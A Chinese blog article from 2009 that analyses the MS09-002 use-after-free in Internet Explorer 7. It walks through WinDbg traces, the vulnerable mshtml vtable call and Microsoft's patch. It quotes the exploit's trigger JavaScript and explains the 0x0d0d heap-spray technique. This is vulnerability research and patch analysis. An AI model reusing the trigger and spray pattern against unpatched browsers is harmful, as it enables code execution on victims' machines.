您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

触发MS09-002

2009-4-6 11:14| 投稿: security

摘要: MS09-002,刚刚触发了一下…… 在有漏洞的系统中(或者你主动先把补丁给卸载了)要把对shellcode的调用拦截住很简单。 找个实际的漏洞利用网页,把其中的shellcode的声明语句中的s...
MS09-002,刚刚触发了一下…… 在有漏洞的系统中(或者你主动先把补丁给卸载了)要把对shellcode的调用拦截住很简单。 找个实际的漏洞利用网页,把其中的shellcode的声明语句中的shellcode的内容前面加上"%uCCCC%uCCCC%uCCCC",也就是加上几字节int 3代码。保存网页。如果找不到实际的网页,直接上milw0rm把那个示例扒下来就行。 用IE7打开网页,允许ActiveX对象的执行。当IE7进到shellcode开头的时候会触发其中一个int 3断点(说“其中一个”是因为这个有“或然性”,因为不是直接call进shellcode开头,而是call进前面的"%uODOD"序列,因此哪个int 3被当成int 3要看几率)。这时由于SEH没有处理这个软断点,程序会报错,这时就轮到JIT调试器出场了。 在报错的框里点“调试”(或者实时调试器设置好了自动选项,那么没有提供框直接启动)启动你设置的实时调试器,使IE进程中断到调试器中。 为了方便加载符号和看栈回溯,这里我用了windbg作为JIT调试器。用OD也是一样的。 中断到windbg时的信息(省略N行加载模块的信息): (f28.460): Break instruction exception - code 80000003 (!!! second chance !!!) eax=0f6fbffd ebx=00000000 ecx=0b0bffff edx=00000002 esi=039953f0 edi=80020003 eip=0d18ea06 esp=01e6ef0c ebp=01e6ef18 iopl=0         nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00000202 0d18ea06 cc              int     3 看看中断时的代码位置: 0:005> u eip l10 0d18ea06 cc              int     3 0d18ea07 cc              int     3 0d18ea08 cc              int     3 0d18ea09 cc              int     3 0d18ea0a cc              int     3 0d18ea0b cc              int     3 0d18ea0c d9e1            fabs 0d18ea0e d93424          fnstenv [esp] 0d18ea11 58              pop     eax 0d18ea12 58              pop     eax 0d18ea13 58              pop     eax 0d18ea14 58              pop     eax 0d18ea15 33db            xor     ebx,ebx 0d18ea17 b31c            mov     bl,1Ch 0d18ea19 03c3            add     eax,ebx 0d18ea1b 31c9            xor     ecx,ecx 可以看到确实是断在shellcode头部了 进行栈回溯,看看是哪个函数call进shellcode里的: 0:005> kv ChildEBP RetAddr Args to Child               WARNING: Frame IP not in any known module. Following frames may be wrong. 01e6ef08 42af782d 036ebff8 03742d08 01e6ef2c 0xd18ea06 01e6ef18 42a4dacc 039953f0 03742d08 036ebf78 mshtml!CFunctionPointer::PrivateAddRef+0x1c (FPO: [Non-Fpo]) 01e6ef2c 42a0c3d1 0385af80 00000009 03742d08 mshtml!CBase::FetchObject+0x4c (FPO: [Non-Fpo]) 01e6ef48 42af7a32 00000001 00000009 03742d08 mshtml!CBase::GetObjectAt+0x2f (FPO: [Non-Fpo]) 01e6efcc 42a654a6 036ebf78 80010409 00000409 mshtml!CBase::ContextInvokeEx+0x653 (FPO: [Non-Fpo]) 01e6effc 42a654f3 036ebf78 80010409 00000409 mshtml!CElement::ContextInvokeEx+0x70 (FPO: [Non-Fpo]) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Rising\Rav\RavScrCh.dll - 01e6f030 02765d83 036ebf78 80010409 00000409 mshtml!CElement::ContextThunk_InvokeEx+0x44 (FPO: [Non-Fpo]) 01e6f2fc 75be348e 11e30990 80010409 00000409 RavScrCh+0x5d83 01e6f334 75be33fe 037407e0 11e30990 80010409 jscript!IDispatchExInvokeEx2+0xac (FPO: [Non-Fpo]) 01e6f36c 75be3e09 037407e0 11e30990 80010409 jscript!IDispatchExInvokeEx+0x56 (FPO: [Non-Fpo]) 01e6f3dc 75be30eb 037407e0 11e30990 80010409 jscript!InvokeDispatchEx+0x78 (FPO: [Non-Fpo]) 01e6f424 75be2b05 037407e0 01e6f474 00000002 jscript!VAR::InvokeByName+0xba (FPO: [Non-Fpo]) 01e6f4d8 75be1019 01e6f51c 00000000 003d56e0 jscript!CScriptRuntime::Run+0x9e1 (FPO: [Non-Fpo]) 01e6f4f0 75be1b7f 01e6f51c 00000000 00000000 jscript!ScrFncObj::Call+0x8d (FPO: [Non-Fpo]) 01e6f560 75bcf9d2 003d56e0 01e6fbe0 00000000 jscript!CSession::Execute+0xa7 (FPO: [Non-Fpo]) 01e6f5b0 75bcfdf7 01e6fbe0 01e6fbc0 02784d34 jscript!COleScript::ExecutePendingScripts+0x147 (FPO: [Non-Fpo]) 01e6f614 75bcfc46 03883a6c 0385b064 00000000 jscript!COleScript::ParseScriptTextCore+0x243 (FPO: [Non-Fpo]) 01e6f640 0276c0f5 0374051c 03883a6c 0385b064 jscript!COleScript::ParseScriptText+0x2b (FPO: [Non-Fpo]) 01e6fb10 429e289d 02784d34 03881064 0385b064 RavScrCh!DllUnregisterServer+0x5915 01e6fb70 429e26b7 0385b1e0 036afb20 00000000 mshtml!CScriptCollection::ParseScriptText+0x240 (FPO: [Non-Fpo]) 这里由于我这台机安装了瑞星,可以看到有RavScrCh.dll的痕迹。 从栈回溯可以看到是CFunctionPointer::PrivateAddRef这个函数跳进shellcode中的,call代码的下一句代码地址是42af782d 反汇编看一下这个函数: 0:005> uf mshtml!CFunctionPointer::PrivateAddRef mshtml!CFunctionPointer::PrivateAddRef: 42af7811 8bff            mov     edi,edi 42af7813 55              push    ebp 42af7814 8bec            mov     ebp,esp 42af7816 56              push    esi 42af7817 8b7508          mov     esi,dword ptr [ebp+8] 42af781a 8b4610          mov     eax,dword ptr [esi+10h] 42af781d 85c0            test    eax,eax 42af781f 740c            je      mshtml!CFunctionPointer::PrivateAddRef+0x1c (42af782d) mshtml!CFunctionPointer::PrivateAddRef+0x10: 42af7821 837e0400        cmp     dword ptr [esi+4],0 42af7825 7406            je      mshtml!CFunctionPointer::PrivateAddRef+0x1c (42af782d) mshtml!CFunctionPointer::PrivateAddRef+0x16: 42af7827 8b08            mov     ecx,dword ptr [eax] 42af7829 50              push    eax 42af782a ff5104          call    dword ptr [ecx+4] mshtml!CFunctionPointer::PrivateAddRef+0x1c: 42af782d ff4604          inc     dword ptr [esi+4] 42af7830 33c0            xor     eax,eax 42af7832 5e              pop     esi 42af7833 5d              pop     ebp 42af7834 c20400          ret     4 可以看到,call进shellcode的命令就是这一行: 42af782a ff5104          call    dword ptr [ecx+4] 现在看看怎么进去的,IE中断到windbg里时,寄存器环境是实时环境。 从mshtml!CFunctionPointer::PrivateAddRef的代码中可以看到,它是访问了某个对象的结构,相关的寄存器有esi、ecx等。 看看这几个寄存器的值: 0:005> r esi,ecx esi=039953f0 ecx=0b0bffff esi是一个结构的指针,查一下内容: 0:005> dd esi l8 039953f0 42a3b3c0 00000001 00000008 00000000 03995400 036ebff8 80010409 0385b160 00000000 mshtml!CFunctionPointer::PrivateAddRef中取[esi+10h]的值放到eax,可以看到[esi+10h]的值为0x036ebff8,这应该就是call之前的eax值 0:005> dc 036ebff8 036ebff8 0b0bffff 00410041 00410041 00410041 ....A.A.A.A.A.A. 036ec008 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 036ec018 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 可以看到这里其实是网页中的 var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA"); 所写入的内容,前面两个字节被覆盖掉了,但是不影响触发。 而且这时[eax]的值正是0x0b0bffff,与之前用r命令观察到的值一样。 42af782a ff5104          call    dword ptr [ecx+4] 这一行是call的代码,看看相应内存地址 0:005> dd ecx+4 0b0c0003 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0013 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0023 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0033 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0043 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0053 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0063 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 0b0c0073 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d 实际上自这里开始到shellcode前面的区域,都被%u0D0D的字节填掉了,从而保证这个call会进入到这里面,而进入后这些%u0D0D变成代码就是: or      eax,0D0D0D0Dh 因此它实际上只影响eax的值,直到一直到达shellcode开始处。这也是为什么我们断下时的eax的值与call进时eax的值不同。 至此证实,call进shellcode的位置是mshtml!CFunctionPointer::PrivateAddRef。 回过头来看看漏洞利用代码: var o2 = o1.cloneNode(); o1.clearAttributes(); //clearAttributes方法把结构里的对象释放掉了; o1=null; CollectGarbage(); for(var x=0;x<a1.length;x++) a1[x].src=s1; //系统马上重新使用刚刚释放掉的空间写入了字符串s1。 o2.click;//结果click的时候触发了 clearAttributes方法把结构里的对象释放掉了之后,紧接着for循环语句就使用了写入了被释放掉的对象空间,向其中写入了特地构造的字符串(其第一个DWORD的内容成为了漏洞触发的关键指针)。 于是之后在使用o2.click的时候,系统调用了mshtml!CFunctionPointer::PrivateAddRef,后者调用对象方法的时候使用了这个指针,而这时这个指针指向的位置刚刚好是之前堆里包含shellcode的代码,于是shellcode就这样被执行了。 前面已经知道call进shellcode的代码位于mshtml!CFunctionPointer::PrivateAddRef 用IDA加载mshtml.dll,找到mshtml!CFunctionPointer::PrivateAddRef函数: .text:42AF7811 public: virtual unsigned long __stdcall CFunctionPointer::PrivateAddRef(void) proc near .text:42AF7811                                         ; DATA XREF: .text:42A3B3C4 o .text:42AF7811 从函数头部的交叉参考进入,可以看到它被一个常量所引用: .text:42A3B3C0 const CFunctionPointer::`vftable' dd offset CFunctionPointer::PrivateQueryInterface(_GUID const &,void * *) .text:42A3B3C0                                         ; DATA XREF: CFunctionPointer::CFunctionPointer(CBase *,long)+15 o .text:42A3B3C0                                         ; CElement::get_nodeType(long *)+1660 o .text:42A3B3C4                 dd offset CFunctionPointer::PrivateAddRef(void) .text:42A3B3C8                 dd offset CFunctionPointer::PrivateRelease(void) 这里可以说是一个messages dispatcher的表了,这个位置又被CFunctionPointer::CFunctionPointer所引用。CFunctionPointer::CFunctionPointer是一个类的构造函数: .text:42AF79D9 public: __thiscall CFunctionPointer::CFunctionPointer(class CBase *, long) proc near .text:42AF79D9                                         ; CODE XREF: CBase::ContextInvokeEx(long,ulong,ushort,tagDISPPARAMS *,tagVARIANT *,tagEXCEPINFO *,IServiceProvider *,IUnknown *)+AF361 p .text:42AF79D9 .text:42AF79D9 arg_0           = dword ptr 8 .text:42AF79D9 arg_4           = dword ptr 0Ch .text:42AF79D9 .text:42AF79D9 ; FUNCTION CHUNK AT .text:42B3F2C0 SIZE 00000020 BYTES .text:42AF79D9 .text:42AF79D9                 mov     edi, edi .text:42AF79DB                 push    ebp .text:42AF79DC                 mov     ebp, esp .text:42AF79DE                 push    esi .text:42AF79DF                 mov     esi, ecx .text:42AF79E1                 call    CBase::CBase(void) .text:42AF79E1 .text:42AF79E6                 mov     ecx, [ebp+arg_0] .text:42AF79E9                 test    ecx, ecx .text:42AF79EB                 mov     eax, [ebp+arg_4] .text:42AF79EE                 mov     dword ptr [esi], offset const CFunctionPointer::`vftable' .text:42AF79F4                 mov     [esi+10h], ecx .text:42AF79F7                 mov     [esi+14h], eax .text:42AF79FA                 jz      short loc_42AF7A19 .text:42AF79FA .text:42AF79FC                 mov     eax, [ecx] .text:42AF79FE                 call    dword ptr [eax+34h] .text:42AF7A01                 test    eax, eax .text:42AF7A03                 mov     [esi+18h], eax .text:42AF7A06                 jz      loc_42B3F2C0 .text:42AF7A06 .text:42AF7A0C .text:42AF7A0C loc_42AF7A0C:                           ; CODE XREF: CFunctionPointer::CFunctionPointer(CBase *,long)+47902 j .text:42AF7A0C                 mov     eax, [esi+18h] .text:42AF7A0F                 test    eax, eax .text:42AF7A11                 jz      short loc_42AF7A19 .text:42AF7A11 .text:42AF7A13                 mov     ecx, [eax] .text:42AF7A15                 push    eax .text:42AF7A16                 call    dword ptr [ecx+4] .text:42AF7A16 .text:42AF7A19 .text:42AF7A19 loc_42AF7A19:                           ; CODE XREF: CFunctionPointer::CFunctionPointer(CBase *,long)+21 j .text:42AF7A19                                         ; CFunctionPointer::CFunctionPointer(CBase *,long)+38 j .text:42AF7A19                 mov     eax, esi .text:42AF7A1B                 pop     esi .text:42AF7A1C                 pop     ebp .text:42AF7A1D                 retn    8 那么微软怎么把这个漏洞改掉的呢?打上KB961260补丁,我们返回来看刚刚那个表: .text:42A39708 const CFunctionPointer::`vftable' dd offset CFunctionPointer::PrivateQueryInterface(_GUID const &,void * *) .text:42A39708                                         ; DATA XREF: CFunctionPointer::CFunctionPointer(CBase *,long)+15 o .text:42A39708                                         ; CElement::get_nodeType(long *)+1658 o .text:42A3970C                 dd offset CIVersionVectorThunk::AddRef(void) .text:42A39710                 dd offset CBase::PrivateRelease(void) 把CFunctionPointer::PrivateAddRef从表上换掉了,换成了CIVersionVectorThunk::AddRef(void),这个函数的动作: .text:42A4156D public: virtual unsigned long __stdcall CIVersionVectorThunk::AddRef(void) proc near .text:42A4156D                                         ; DATA XREF: .text:42A0355C o .text:42A4156D                                         ; .text:42A38434 o .text:42A4156D                                         ; .text:42A384B4 o .text:42A4156D                                         ; .text:42A38534 o .text:42A4156D                                         ; .text:42A385BC o .text:42A4156D                                         ; .text:42A38644 o ... .text:42A4156D .text:42A4156D arg_0           = dword ptr 8 .text:42A4156D .text:42A4156D                 mov     edi, edi .text:42A4156F                 push    ebp .text:42A41570                 mov     ebp, esp .text:42A41572                 mov     eax, [ebp+arg_0] .text:42A41575                 inc     dword ptr [eax+4] .text:42A41578                 xor     eax, eax .text:42A4157A                 pop     ebp .text:42A4157B                 retn    4 .text:42A4157B .text:42A4157B public: virtual unsigned long __stdcall CIVersionVectorThunk::AddRef(void) endp 与之前的CFunctionPointer::PrivateAddRef对比可以发现,现在的CIVersionVectorThunk::AddRef只是设置一个引用计数(inc     dword ptr [eax+4]),没有其他调用了。 同时修改的还有CFunctionPointer::PrivateRelease,在表中它的位置直接被替换成了基类的方法CBase::PrivateRelease。 看看修改前的CFunctionPointer::PrivateRelease函数: .text:42B1E30D public: virtual unsigned long __stdcall CFunctionPointer::PrivateRelease(void) proc near .text:42B1E30D                                         ; DATA XREF: .text:42A3B3C8 o .text:42B1E30D .text:42B1E30D arg_0           = dword ptr 8 .text:42B1E30D .text:42B1E30D                 mov     edi, edi .text:42B1E30F                 push    ebp .text:42B1E310                 mov     ebp, esp .text:42B1E312                 push    esi .text:42B1E313                 mov     esi, [ebp+arg_0] .text:42B1E316                 cmp     dword ptr [esi+10h], 0 .text:42B1E31A                 jz      loc_42B22250 .text:42B1E31A .text:42B1E320                 cmp     dword ptr [esi+4], 1 .text:42B1E324                 jbe     loc_42B22250 .text:42B1E324 .text:42B1E32A                 add     dword ptr [esi+8], 8 .text:42B1E32E                 push    edi .text:42B1E32F                 push    esi .text:42B1E330                 call    CBase::PrivateRelease(void) .text:42B1E330 .text:42B1E335                 mov     edi, eax .text:42B1E337                 mov     eax, [esi+10h] .text:42B1E33A                 mov     ecx, [eax] .text:42B1E33C                 push    eax .text:42B1E33D                 call    dword ptr [ecx+8] .text:42B1E340                 mov     ecx, esi .text:42B1E342                 call    CBase::SubRelease(void) .text:42B1E342 .text:42B1E347                 mov     eax, edi .text:42B1E349                 pop     edi .text:42B1E349 .text:42B1E34A .text:42B1E34A loc_42B1E34A:                           ; CODE XREF: CElement::get_nodeType(long *)+1627 j .text:42B1E34A                 pop     esi .text:42B1E34B                 pop     ebp .text:42B1E34C                 retn    4 .text:42B1E34C .text:42B1E34C public: virtual unsigned long __stdcall CFunctionPointer::PrivateRelease(void) endp 显然也存在与CFunctionPointer::PrivateAddRef相类似的问题,可能call进shellcode中。现在换成了CBase::PrivateRelease,同样也就是直接把对象的引用计数标志减1而已。   

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部